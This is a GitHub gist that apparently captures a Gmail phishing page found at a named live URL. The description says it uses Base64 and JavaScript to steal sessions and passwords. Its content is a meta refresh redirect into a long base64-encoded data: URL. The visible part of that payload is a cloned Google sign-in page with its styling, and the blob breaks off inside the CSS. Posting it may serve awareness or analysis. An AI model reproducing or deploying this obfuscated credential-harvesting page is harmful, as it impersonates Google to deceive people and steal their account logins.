Skip to content

Instantly share code, notes, and snippets.

@JohnTroony
Created December 8, 2015 14:38
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnTroony/26a0dda5ccc78f592c6d to your computer and use it in GitHub Desktop.
Save JohnTroony/26a0dda5ccc78f592c6d to your computer and use it in GitHub Desktop.
Gmail Phising Page at http://anazita.com/xmz Using Base64 and Javascript to steal your session and password.
<!--Using meta redirect-->
<meta http-equiv="Refresh" content="0; url= data:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQoJPGhlYWQ+DQoJCTxsaW5rIGhyZWY9Imh0dHA6Ly9zc2wuZ3N0YXRpYy5jb20vZG9jcy9kb2NsaXN0L2ltYWdlcy9pbmZpbml0ZV9hcnJvd19mYXZpY29uXzQuaWNvIiByZWw9InNob3J0Y3V0IGljb24iIC8+DQoJCTxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiAvPg0KCQk8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCgkJPG1ldGEgY29udGVudD0id2lkdGg9MzAwLCBpbml0aWFsLXNjYWxlPTEiIG5hbWU9InZpZXdwb3J0IiAvPg0KCQk8bWV0YSBuYW1lPSIiIHZhbHVlPSJub3RyYW5zbGF0ZSIgLz4NCgkJPG1ldGEgY29udGVudD0iIGlzIGVtYWlsIHRoYXQncyBpbnR1aXRpdmUsIGVmZmljaWVudCwgYW5kIHVzZWZ1bC4gMTUgR0Igb2Ygc3RvcmFnZSwgbGVzcyBzcGFtLCBhbmQgbW9iaWxlIGFjY2Vzcy4iIG5hbWU9ImRlc2NyaXB0aW9uIiAvPg0KCQk8dGl0bGU+IDwvdGl0bGU+DQoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpAZm9udC1mYWNlIHsNCiAgZm9udC1mYW1pbHk6ICdPcGVuIFNhbnMnOw0KICBmb250LXN0eWxlOiBub3JtYWw7DQogIGZvbnQtd2VpZ2h0OiAzMDA7DQogIHNyYzogbG9jYWwoJ09wZW4gU2FucyBMaWdodCcpLCBsb2NhbCgnT3BlblNhbnMtTGlnaHQnKSwgdXJsKGh0dHA6Ly9mb250cy5nc3RhdGljLmNvbS9zL29wZW5zYW5zL3YxMC9EWEkxT1JIQ3BzUW0zVnA2bVhvYVRYaENVT0d6N3ZZR2g2ODBsR2gtdVhNLndvZmYpIGZvcm1hdCgnd29mZicpOw0KfQ0KQGZvbnQtZmFjZSB7DQogIGZvbnQtZmFtaWx5OiAnT3BlbiBTYW5zJzsNCiAgZm9udC1zdHlsZTogbm9ybWFsOw0KICBmb250LXdlaWdodDogNDAwOw0KICBzcmM6IGxvY2FsKCdPcGVuIFNhbnMnKSwgbG9jYWwoJ09wZW5TYW5zJyksIHVybChodHRwOi8vZm9udHMuZ3N0YXRpYy5jb20vcy9vcGVuc2Fucy92MTAvY0paS2VPdUJybjRrRVJ4cXRhVUgzVDhFMGk3S1puLUVQbnlvM0hadTdrdy53b2ZmKSBmb3JtYXQoJ3dvZmYnKTsNCn0JCTwvc3R5bGU+DQoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpoMSwgaDIgew0KICAtd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMC4xczsNCiAgLXdlYmtpdC1hbmltYXRpb24tbmFtZTogZm9udGZpeDsNCiAgLXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxOw0KICAtd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjsNCiAgLXdlYmtpdC1hbmltYXRpb24tZGVsYXk6IDA7DQogIH0NCiAgQC13ZWJraXQta2V5ZnJhbWVzIGZvbnRmaXggew0KICBmcm9tIHsNCiAgb3BhY2l0eTogMTsNCiAgfQ0KICB0byB7DQogIG9wYWNpdHk6IDE7DQogIH0NCiAgfQkJPC9zdHlsZT4NCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmh0bWwsIGJvZHkgew0KICBmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7DQogIGJhY2tncm91bmQ6ICNmZmY7DQogIG1hcmdpbjogMDsNCiAgcGFkZGluZzogMDsNCiAgYm9yZGVyOiAwOw0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIGhlaWdodDogMTAwJTsNCiAgbWluLXdpZHRoOiAxMDAlOw0KICBmb250LXNpemU6IDEzcHg7DQogIGNvbG9yOiAjNDA0MDQwOw0KICBkaXJlY3Rpb246IGx0cjsNCiAgLXdlYmtpdC10ZXh0LXNpemUtYWRqdXN0OiBub25lOw0KICB9DQogIGJ1dHRvbiwNCiAgaW5wdXRbdHlwZT1idXR0b25dLA0KICBpbnB1dFt0eXBlPXN1Ym1pdF0gew0KICBmb250LWZhbWlseTogQXJpYWwsIHNhbnMtc2VyaWY7DQogIGZvbnQtc2l6ZTogMTNweDsNCiAgfQ0KICBhLA0KICBhOmhvdmVyLA0KICBhOnZpc2l0ZWQgew0KICBjb2xvcjogIzQyN2ZlZDsNCiAgY3Vyc29yOiBwb2ludGVyOw0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIH0NCiAgYTpob3ZlciB7DQogIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOw0KICB9DQogIGgxIHsNCiAgZm9udC1zaXplOiAyMHB4Ow0KICBjb2xvcjogIzI2MjYyNjsNCiAgbWFyZ2luOiAwIDAgMTVweDsNCiAgZm9udC13ZWlnaHQ6IG5vcm1hbDsNCiAgfQ0KICBoMiB7DQogIGZvbnQtc2l6ZTogMTRweDsNCiAgY29sb3I6ICMyNjI2MjY7DQogIG1hcmdpbjogMCAwIDE1cHg7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KICB9DQogIGlucHV0W3R5cGU9ZW1haWxdLA0KICBpbnB1dFt0eXBlPW51bWJlcl0sDQogIGlucHV0W3R5cGU9cGFzc3dvcmRdLA0KICBpbnB1dFt0eXBlPXRlbF0sDQogIGlucHV0W3R5cGU9dGV4dF0sDQogIGlucHV0W3R5cGU9dXJsXSB7DQogIC1tb3otYXBwZWFyYW5jZTogbm9uZTsNCiAgLXdlYmtpdC1hcHBlYXJhbmNlOiBub25lOw0KICBhcHBlYXJhbmNlOiBub25lOw0KICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogIGhlaWdodDogMzZweDsNCiAgcGFkZGluZzogMCA4cHg7DQogIG1hcmdpbjogMDsNCiAgYmFja2dyb3VuZDogI2ZmZjsNCiAgYm9yZGVyOiAxcHggc29saWQgI2Q5ZDlkOTsNCiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNjMGMwYzA7DQogIC1tb3otYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgLXdlYmtpdC1ib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICBib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDFweDsNCiAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAxcHg7DQogIGJvcmRlci1yYWRpdXM6IDFweDsNCiAgZm9udC1zaXplOiAxNXB4Ow0KICBjb2xvcjogIzQwNDA0MDsNCiAgfQ0KICBpbnB1dFt0eXBlPWVtYWlsXTpob3ZlciwNCiAgaW5wdXRbdHlwZT1udW1iZXJdOmhvdmVyLA0KICBpbnB1dFt0eXBlPXBhc3N3b3JkXTpob3ZlciwNCiAgaW5wdXRbdHlwZT10ZWxdOmhvdmVyLA0KICBpbnB1dFt0eXBlPXRleHRdOmhvdmVyLA0KICBpbnB1dFt0eXBlPXVybF06aG92ZXIgew0KICBib3JkZXI6IDFweCBzb2xpZCAjYjliOWI5Ow0KICBib3JkZXItdG9wOiAxcHggc29saWQgI2EwYTBhMDsNCiAgLW1vei1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjEpOw0KICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMSk7DQogIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMSk7DQogIH0NCiAgaW5wdXRbdHlwZT1lbWFpbF06Zm9jdXMsDQogIGlucHV0W3R5cGU9bnVtYmVyXTpmb2N1cywNCiAgaW5wdXRbdHlwZT1wYXNzd29yZF06Zm9jdXMsDQogIGlucHV0W3R5cGU9dGVsXTpmb2N1cywNCiAgaW5wdXRbdHlwZT10ZXh0XTpmb2N1cywNCiAgaW5wdXRbdHlwZT11cmxdOmZvY3VzIHsNCiAgb3V0bGluZTogbm9uZTsNCiAgYm9yZGVyOiAxcHggc29saWQgIzRkOTBmZTsNCiAgLW1vei1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjMpOw0KICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMyk7DQogIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMyk7DQogIH0NCiAgaW5wdXRbdHlwZT1jaGVja2JveF0sDQogIGlucHV0W3R5cGU9cmFkaW9dIHsNCiAgLXdlYmtpdC1hcHBlYXJhbmNlOiBub25lOw0KICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogIHdpZHRoOiAxM3B4Ow0KICBoZWlnaHQ6IDEzcHg7DQogIG1hcmdpbjogMDsNCiAgY3Vyc29yOiBwb2ludGVyOw0KICB2ZXJ0aWNhbC1hbGlnbjogYm90dG9tOw0KICBiYWNrZ3JvdW5kOiAjZmZmOw0KICBib3JkZXI6IDFweCBzb2xpZCAjYzZjNmM2Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDFweDsNCiAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAxcHg7DQogIGJvcmRlci1yYWRpdXM6IDFweDsNCiAgLW1vei1ib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICAtd2Via2l0LWJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogIGJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgfQ0KICBpbnB1dFt0eXBlPWNoZWNrYm94XTphY3RpdmUsDQogIGlucHV0W3R5cGU9cmFkaW9dOmFjdGl2ZSB7DQogIGJhY2tncm91bmQ6ICNlYmViZWI7DQogIH0NCiAgaW5wdXRbdHlwZT1jaGVja2JveF06aG92ZXIgew0KICBib3JkZXItY29sb3I6ICNjNmM2YzY7DQogIC1tb3otYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMnB4IHJnYmEoMCwwLDAsMC4xKTsNCiAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjEpOw0KICBib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjEpOw0KICB9DQogIGlucHV0W3R5cGU9cmFkaW9dIHsNCiAgLW1vei1ib3JkZXItcmFkaXVzOiAxZW07DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMWVtOw0KICBib3JkZXItcmFkaXVzOiAxZW07DQogIHdpZHRoOiAxNXB4Ow0KICBoZWlnaHQ6IDE1cHg7DQogIH0NCiAgaW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCwNCiAgaW5wdXRbdHlwZT1yYWRpb106Y2hlY2tlZCB7DQogIGJhY2tncm91bmQ6ICNmZmY7DQogIH0NCiAgaW5wdXRbdHlwZT1yYWRpb106Y2hlY2tlZDo6YWZ0ZXIgew0KICBjb250ZW50OiAnJzsNCiAgZGlzcGxheTogYmxvY2s7DQogIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgdG9wOiAzcHg7DQogIGxlZnQ6IDNweDsNCiAgd2lkdGg6IDdweDsNCiAgaGVpZ2h0OiA3cHg7DQogIGJhY2tncm91bmQ6ICM2NjY7DQogIC1tb3otYm9yZGVyLXJhZGl1czogMWVtOw0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDFlbTsNCiAgYm9yZGVyLXJhZGl1czogMWVtOw0KICB9DQogIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQ6OmFmdGVyIHsNCiAgY29udGVudDogdXJsKGh0dHA6Ly9zc2wuZ3N0YXRpYy5jb20vdWkvdjEvbWVudS9jaGVja21hcmsucG5nKTsNCiAgZGlzcGxheTogYmxvY2s7DQogIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgdG9wOiAtNnB4Ow0KICBsZWZ0OiAtNXB4Ow0KICB9DQogIGlucHV0W3R5cGU9Y2hlY2tib3hdOmZvY3VzIHsNCiAgb3V0bGluZTogbm9uZTsNCiAgYm9yZGVyLWNvbG9yOiAjNGQ5MGZlOw0KICB9DQogIC5zdGFja2VkLWxhYmVsIHsNCiAgZGlzcGxheTogYmxvY2s7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KICBtYXJnaW46IC41ZW0gMDsNCiAgfQ0KICAuaGlkZGVuLWxhYmVsIHsNCiAgcG9zaXRpb246IGFic29sdXRlICFpbXBvcnRhbnQ7DQogIGNsaXA6IHJlY3QoMXB4IDFweCAxcHggMXB4KTsgLyogSUU2LCBJRTcgKi8NCiAgY2xpcDogcmVjdCgxcHgsIDFweCwgMXB4LCAxcHgpOw0KICBoZWlnaHQ6IDBweDsNCiAgd2lkdGg6IDBweDsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgdmlzaWJpbGl0eTogaGlkZGVuOw0KICB9DQogIGlucHV0W3R5cGU9Y2hlY2tib3hdLmZvcm0tZXJyb3IsDQogIGlucHV0W3R5cGU9ZW1haWxdLmZvcm0tZXJyb3IsDQogIGlucHV0W3R5cGU9bnVtYmVyXS5mb3JtLWVycm9yLA0KICBpbnB1dFt0eXBlPXBhc3N3b3JkXS5mb3JtLWVycm9yLA0KICBpbnB1dFt0eXBlPXRleHRdLmZvcm0tZXJyb3IsDQogIGlucHV0W3R5cGU9dGVsXS5mb3JtLWVycm9yLA0KICBpbnB1dFt0eXBlPXVybF0uZm9ybS1lcnJvciB7DQogIGJvcmRlcjogMXB4IHNvbGlkICNkZDRiMzk7DQogIH0NCiAgLmVycm9yLW1zZyB7DQogIG1hcmdpbjogLjVlbSAwOw0KICBkaXNwbGF5OiBibG9jazsNCiAgY29sb3I6ICNkZDRiMzk7DQogIGxpbmUtaGVpZ2h0OiAxN3B4Ow0KICB9DQogIC5oZWxwLWxpbmsgew0KICBiYWNrZ3JvdW5kOiAjZGQ0YjM5Ow0KICBwYWRkaW5nOiAwIDVweDsNCiAgY29sb3I6ICNmZmY7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogIC1tb3otYm9yZGVyLXJhZGl1czogMWVtOw0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDFlbTsNCiAgYm9yZGVyLXJhZGl1czogMWVtOw0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgdG9wOiAwcHg7DQogIH0NCiAgLmhlbHAtbGluazp2aXNpdGVkIHsNCiAgY29sb3I6ICNmZmY7DQogIH0NCiAgLmhlbHAtbGluazpob3ZlciB7DQogIGNvbG9yOiAjZmZmOw0KICBiYWNrZ3JvdW5kOiAjYzAzNTIzOw0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIH0NCiAgLmhlbHAtbGluazphY3RpdmUgew0KICBvcGFjaXR5OiAxOw0KICBiYWNrZ3JvdW5kOiAjYWUyODE3Ow0KICB9DQogIC53cmFwcGVyIHsNCiAgcG9zaXRpb246IHJlbGF0aXZlOw0KICBtaW4taGVpZ2h0OiAxMDAlOw0KICB9DQogIC5jb250ZW50IHsNCiAgcGFkZGluZzogMCA0NHB4Ow0KICB9DQogIC5tYWluIHsNCiAgcGFkZGluZy1ib3R0b206IDEwMHB4Ow0KICB9DQogIC8qIEZvciBtb2Rlcm4gYnJvd3NlcnMgKi8NCiAgLmNsZWFyZml4OmJlZm9yZSwNCiAgLmNsZWFyZml4OmFmdGVyIHsNCiAgY29udGVudDogIiI7DQogIGRpc3BsYXk6IHRhYmxlOw0KICB9DQogIC5jbGVhcmZpeDphZnRlciB7DQogIGNsZWFyOiBib3RoOw0KICB9DQogIC8qIEZvciBJRSA2LzcgKHRyaWdnZXIgaGFzTGF5b3V0KSAqLw0KICAuY2xlYXJmaXggew0KICB6b29tOjE7DQogIH0NCiAgLi1oZWFkZXItYmFyIHsNCiAgaGVpZ2h0OiA3MXB4Ow0KICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U1ZTVlNTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgfQ0KICAuaGVhZGVyIC5sb2dvIHsNCiAgbWFyZ2luOiAxN3B4IDAgMDsNCiAgZmxvYXQ6IGxlZnQ7DQogIGhlaWdodDogMzhweDsNCiAgd2lkdGg6IDExNnB4Ow0KICB9DQogIC5oZWFkZXIgLnNlY29uZGFyeS1saW5rIHsNCiAgbWFyZ2luOiAyOHB4IDAgMDsNCiAgZmxvYXQ6IHJpZ2h0Ow0KICB9DQogIC5oZWFkZXIgLnNlY29uZGFyeS1saW5rIGEgew0KICBmb250LXdlaWdodDogbm9ybWFsOw0KICB9DQogIC4taGVhZGVyLWJhci5jZW50ZXJlZCB7DQogIGJvcmRlcjogMDsNCiAgaGVpZ2h0OiAxMDhweDsNCiAgfQ0KICAuLWhlYWRlci1iYXIuY2VudGVyZWQgLmhlYWRlciAubG9nbyB7DQogIGZsb2F0OiBub25lOw0KICBtYXJnaW46IDQwcHggYXV0byAzMHB4Ow0KICBkaXNwbGF5OiBibG9jazsNCiAgfQ0KICAuLWhlYWRlci1iYXIuY2VudGVyZWQgLmhlYWRlciAuc2Vjb25kYXJ5LWxpbmsgew0KICBkaXNwbGF5OiBub25lDQogIH0NCiAgLi1mb290ZXItYmFyIHsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICBib3R0b206IDA7DQogIGhlaWdodDogMzVweDsNCiAgd2lkdGg6IDEwMCU7DQogIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZTVlNWU1Ow0KICBvdmVyZmxvdzogaGlkZGVuOw0KICB9DQogIC5mb290ZXIgew0KICBwYWRkaW5nLXRvcDogN3B4Ow0KICBmb250LXNpemU6IC44NWVtOw0KICB3aGl0ZS1zcGFjZTogbm93cmFwOw0KICBsaW5lLWhlaWdodDogMDsNCiAgfQ0KICAuZm9vdGVyIHVsIHsNCiAgZmxvYXQ6IGxlZnQ7DQogIG1heC13aWR0aDogODAlOw0KICBwYWRkaW5nOiAwOw0KICB9DQogIC5mb290ZXIgdWwgbGkgew0KICBjb2xvcjogIzczNzM3MzsNCiAgZGlzcGxheTogaW5saW5lOw0KICBwYWRkaW5nOiAwOw0KICBwYWRkaW5nLXJpZ2h0OiAxLjVlbTsNCiAgfQ0KICAuZm9vdGVyIGEgew0KICBjb2xvcjogIzczNzM3MzsNCiAgfQ0KICAubGFuZy1jaG9vc2VyLXdyYXAgew0KICBmbG9hdDogcmlnaHQ7DQogIGRpc3BsYXk6IGlubGluZTsNCiAgfQ0KICAubGFuZy1jaG9vc2VyLXdyYXAgaW1nIHsNCiAgdmVydGljYWwtYWxpZ246IHRvcDsNCiAgfQ0KICAubGFuZy1jaG9vc2VyIHsNCiAgZm9udC1zaXplOiAxM3B4Ow0KICBoZWlnaHQ6IDI0cHg7DQogIGxpbmUtaGVpZ2h0OiAyNHB4Ow0KICB9DQogIC5sYW5nLWNob29zZXIgb3B0aW9uIHsNCiAgZm9udC1zaXplOiAxM3B4Ow0KICBsaW5lLWhlaWdodDogMjRweDsNCiAgfQ0KICAuaGlkZGVuIHsNCiAgaGVpZ2h0OiAwcHg7DQogIHdpZHRoOiAwcHg7DQogIG92ZXJmbG93OiBoaWRkZW47DQogIHZpc2liaWxpdHk6IGhpZGRlbjsNCiAgZGlzcGxheTogbm9uZSAhaW1wb3J0YW50Ow0KICB9DQogIC5iYW5uZXIgew0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIH0NCiAgLmNhcmQgew0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjdmN2Y3Ow0KICBwYWRkaW5nOiAyMHB4IDI1cHggMzBweDsNCiAgbWFyZ2luOiAwIGF1dG8gMjVweDsNCiAgd2lkdGg6IDMwNHB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDJweDsNCiAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAycHg7DQogIGJvcmRlci1yYWRpdXM6IDJweDsNCiAgLW1vei1ib3gtc2hhZG93OiAwcHggMnB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMyk7DQogIC13ZWJraXQtYm94LXNoYWRvdzogMHB4IDJweCAycHggcmdiYSgwLCAwLCAwLCAwLjMpOw0KICBib3gtc2hhZG93OiAwcHggMnB4IDJweCByZ2JhKDAsIDAsIDAsIDAuMyk7DQogIH0NCiAgLmNhcmQgPiAqOmZpcnN0LWNoaWxkIHsNCiAgbWFyZ2luLXRvcDogMDsNCiAgfQ0KICAucmMtYnV0dG9uLA0KICAucmMtYnV0dG9uOnZpc2l0ZWQgew0KICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7DQogIG1pbi13aWR0aDogNDZweDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KICBjb2xvcjogIzQ0NDsNCiAgZm9udC1zaXplOiAxNHB4Ow0KICBmb250LXdlaWdodDogNzAwOw0KICBoZWlnaHQ6IDM2cHg7DQogIHBhZGRpbmc6IDAgOHB4Ow0KICBsaW5lLWhlaWdodDogMzZweDsNCiAgLW1vei1ib3JkZXItcmFkaXVzOiAzcHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogM3B4Ow0KICBib3JkZXItcmFkaXVzOiAzcHg7DQogIC1vLXRyYW5zaXRpb246IGFsbCAwLjIxOHM7DQogIC1tb3otdHJhbnNpdGlvbjogYWxsIDAuMjE4czsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiBhbGwgMC4yMThzOw0KICB0cmFuc2l0aW9uOiBhbGwgMC4yMThzOw0KICBib3JkZXI6IDFweCBzb2xpZCAjZGNkY2RjOw0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjVmNWY1Ow0KICBiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsI2Y1ZjVmNSwjZjFmMWYxKTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCNmNWY1ZjUsI2YxZjFmMSk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1tcy1saW5lYXItZ3JhZGllbnQodG9wLCNmNWY1ZjUsI2YxZjFmMSk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsI2Y1ZjVmNSwjZjFmMWYxKTsNCiAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvcCwjZjVmNWY1LCNmMWYxZjEpOw0KICAtby10cmFuc2l0aW9uOiBub25lOw0KICAtbW96LXVzZXItc2VsZWN0OiBub25lOw0KICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lOw0KICB1c2VyLXNlbGVjdDogbm9uZTsNCiAgY3Vyc29yOiBkZWZhdWx0Ow0KICB9DQogIC5jYXJkIC5yYy1idXR0b24gew0KICB3aWR0aDogMTAwJTsNCiAgcGFkZGluZzogMDsNCiAgfQ0KICAucmMtYnV0dG9uLmRpc2FibGVkLA0KICAucmMtYnV0dG9uW2Rpc2FibGVkXSB7DQogIG9wYWNpdHk6IC41Ow0KICBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NTApOw0KICBjdXJzb3I6IGRlZmF1bHQ7DQogIHBvaW50ZXItZXZlbnRzOiBub25lOw0KICB9DQogIC5yYy1idXR0b246aG92ZXIgew0KICBib3JkZXI6IDFweCBzb2xpZCAjYzZjNmM2Ow0KICBjb2xvcjogIzMzMzsNCiAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAtby10cmFuc2l0aW9uOiBhbGwgMC4wczsNCiAgLW1vei10cmFuc2l0aW9uOiBhbGwgMC4wczsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiBhbGwgMC4wczsNCiAgdHJhbnNpdGlvbjogYWxsIDAuMHM7DQogIGJhY2tncm91bmQtY29sb3I6ICNmOGY4Zjg7DQogIGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwjZjhmOGY4LCNmMWYxZjEpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsI2Y4ZjhmOCwjZjFmMWYxKTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW1zLWxpbmVhci1ncmFkaWVudCh0b3AsI2Y4ZjhmOCwjZjFmMWYxKTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwjZjhmOGY4LCNmMWYxZjEpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG9wLCNmOGY4ZjgsI2YxZjFmMSk7DQogIC1tb3otYm94LXNoYWRvdzogMCAxcHggMXB4IHJnYmEoMCwwLDAsMC4xKTsNCiAgLXdlYmtpdC1ib3gtc2hhZG93OiAwIDFweCAxcHggcmdiYSgwLDAsMCwwLjEpOw0KICBib3gtc2hhZG93OiAwIDFweCAxcHggcmdiYSgwLDAsMCwwLjEpOw0KICB9DQogIC5yYy1idXR0b246YWN0aXZlIHsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2Y2ZjZmNjsNCiAgYmFja2dyb3VuZC1pbWFnZTogLXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCNmNmY2ZjYsI2YxZjFmMSk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwjZjZmNmY2LCNmMWYxZjEpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtbXMtbGluZWFyLWdyYWRpZW50KHRvcCwjZjZmNmY2LCNmMWYxZjEpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCNmNmY2ZjYsI2YxZjFmMSk7DQogIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0b3AsI2Y2ZjZmNiwjZjFmMWYxKTsNCiAgLW1vei1ib3gtc2hhZG93OiAwIDFweCAycHggcmdiYSgwLDAsMCwwLjEpOw0KICAtd2Via2l0LWJveC1zaGFkb3c6IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMSk7DQogIGJveC1zaGFkb3c6IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMSk7DQogIH0NCiAgLnJjLWJ1dHRvbi1zdWJtaXQsDQogIC5yYy1idXR0b24tc3VibWl0OnZpc2l0ZWQgew0KICBib3JkZXI6IDFweCBzb2xpZCAjMzA3OWVkOw0KICBjb2xvcjogI2ZmZjsNCiAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMCwwLDAsMC4xKTsNCiAgYmFja2dyb3VuZC1jb2xvcjogIzRkOTBmZTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCM0ZDkwZmUsIzQ3ODdlZCk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwjNGQ5MGZlLCM0Nzg3ZWQpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtbXMtbGluZWFyLWdyYWRpZW50KHRvcCwjNGQ5MGZlLCM0Nzg3ZWQpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCM0ZDkwZmUsIzQ3ODdlZCk7DQogIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0b3AsIzRkOTBmZSwjNDc4N2VkKTsNCiAgfQ0KICAucmMtYnV0dG9uLXN1Ym1pdDpob3ZlciB7DQogIGJvcmRlcjogMXB4IHNvbGlkICMyZjViYjc7DQogIGNvbG9yOiAjZmZmOw0KICB0ZXh0LXNoYWRvdzogMCAxcHggcmdiYSgwLDAsMCwwLjMpOw0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzU3YWU4Ow0KICBiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsIzRkOTBmZSwjMzU3YWU4KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCM0ZDkwZmUsIzM1N2FlOCk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1tcy1saW5lYXItZ3JhZGllbnQodG9wLCM0ZDkwZmUsIzM1N2FlOCk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsIzRkOTBmZSwjMzU3YWU4KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvcCwjNGQ5MGZlLCMzNTdh